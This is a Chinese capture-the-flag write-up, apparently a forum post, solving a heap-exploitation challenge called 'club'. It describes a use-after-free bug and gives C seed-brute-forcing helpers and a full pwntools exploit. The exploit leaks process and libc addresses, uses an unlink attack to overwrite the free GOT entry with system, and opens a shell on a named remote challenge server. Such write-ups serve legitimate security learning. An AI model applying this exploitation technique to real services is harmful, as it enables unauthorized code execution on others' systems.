-
-
[原创]第4题
-
2017-10-31 05:27 3298
-
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1: new
box1~box5
2: delete
free完之后没有修改in_use标志, 可以多次free,存在UAF, 只有box2和box3可以free
3: edit
4: print
5: guess
seed=&seed; srand((unigned int)seed); v=rand(); if (input()==v) print seed; else print v;
解题思路
我这个解法好像有点麻烦, 等结束后学习下标准解法是什么样的..
leak process base, leak libc base, overwrite got, get shell
test_seed.c
#include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> static void* seed = 0; int main() { seed = &seed; srand(*(unsigned int*)&seed); printf("%p\n", &seed); printf("0x%x\n", rand()); return 0; }
guess_seed.c
#include <unistd.h> #include <stdio.h> #include <string.h> #include <stdlib.h> static void* seed = 0; int main(int argc, char **argv) { int low3=atoi(argv[1]); int r=atoi(argv[2]); unsigned int seed; unsigned int i; for (i=0; i<=0xFFFFF; i++) { seed = i << 12; seed += low3; srand(seed); if (rand()==r) { printf("0x%x\n", rand()); return 0; } } printf("end\n"); return 0; }
test.py
### python test.py LOCAL=True from pwn import * import sys context(arch='amd64', kernel='amd64', os='linux') #context.log_level='debug' elf=ELF('./club') if args['LOCAL']: libc_path='/lib/x86_64-linux-gnu/libc.so.6' io=process('./club') log.info("process base: " + hex(io.libs()['/root/Desktop/test/pediy_pwn/club'])) log.info("process libc_base: " + hex(io.libs()[libc_path])) else: libc_path='./libc.so.6' io=remote('123.206.22.95', 8888) libc=ELF(libc_path) def cmd_new(index, size): io.recvuntil('> ') io.sendline('1') io.recvuntil('> ') io.sendline(str(index)) io.recvuntil('> ') io.sendline(str(size)) io.recvline() return def cmd_delete(index): io.recvuntil('> ') io.sendline('2') io.recvuntil('> ') io.sendline(str(index)) return def cmd_edit(index, buf): io.recvuntil('> ') io.sendline('3') io.recvuntil('> ') io.sendline(str(index)) io.sendline(buf) return def cmd_print(index): io.recvuntil('> ') io.sendline('4') io.recvuntil('> ') io.sendline(str(index)) data=io.recvline() return data def cmd_guess_wrong(v): io.recvuntil('> ') io.sendline('5') io.recvuntil('> ') io.sendline(str(v)) io.recvuntil('The number is ') data=io.recvuntil('!')[:-1] return data def cmd_guess_right(v): io.recvuntil('> ') io.sendline('5') io.recvuntil('> ') io.sendline(str(v)) io.recvuntil('You get a secret: ') data=io.recvuntil('!')[:-1] return data def cmd_quit(name): io.recvuntil('> ') io.sendline('6') io.recvuntil('> ') io.sendline(name) io.recvline() return def exploit(): #leak process base v=cmd_guess_wrong(0) p_guess=process(['./guess_seed',str(0x148), v]) guess_r=p_guess.recvall() #print guess_r seed=cmd_guess_right(int(guess_r, 16)) #print hex(int(v)) process_base=int(seed)-0x202148 log.info("leaked process base: " + hex(process_base)) #gdb.attach(io) #input() #trigger coaleace #use box4 to edit box2 & box3 len2=0x1A0 len3=0x1F0 cmd_new(2, len2) cmd_edit(2, 'A'*len2) cmd_new(3, len3) cmd_delete(2) cmd_delete(3) cmd_new(4, len2+len3) data=cmd_print(4)[:6] libc_main_arena_top=0x3C4B78 libc_base=u64(data.ljust(8, '\x00'))-libc_main_arena_top print('leaked libc_base: %x' % libc_base) #create a fake free chunk inside box2 before box3 box2_ptr=process_base+0x202110 print('box2_ptr: %x' % box2_ptr) buf='' buf+=p64(0) + p64(len2+1) + p64(box2_ptr-0x18) + p64(box2_ptr-0x10) buf+='A'*(len2-0x20) buf+=p64(len2) buf+=p64(len3) cmd_edit(4, buf) cmd_delete(3) #box2_ptr-0x18 written to box2_ptr cmd_edit(3, '/bin/sh\x00') #[box2]=got_free buf='' buf+=p64(0) buf+=p64(0) #box0 buf+=p64(0) #box1 buf+=p64(process_base+elf.got['free']) cmd_edit(2, buf) #[got_free]=system buf='' buf+=p64(libc_base+libc.symbols['system']) cmd_edit(2, buf) #system('/bin/sh') cmd_delete(3) io.interactive() return exploit()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
KCTF2022春季赛 第三题 石像病毒
8263
KCTF2022春季赛 第二题 末日邀请
15385
KCTF2021秋季赛 第二题 迷失丛林
17921
KCTF2020秋季赛 第十题 终焉之战
8092
KCTF2020秋季赛 第九题 命悬一线
5818
看原图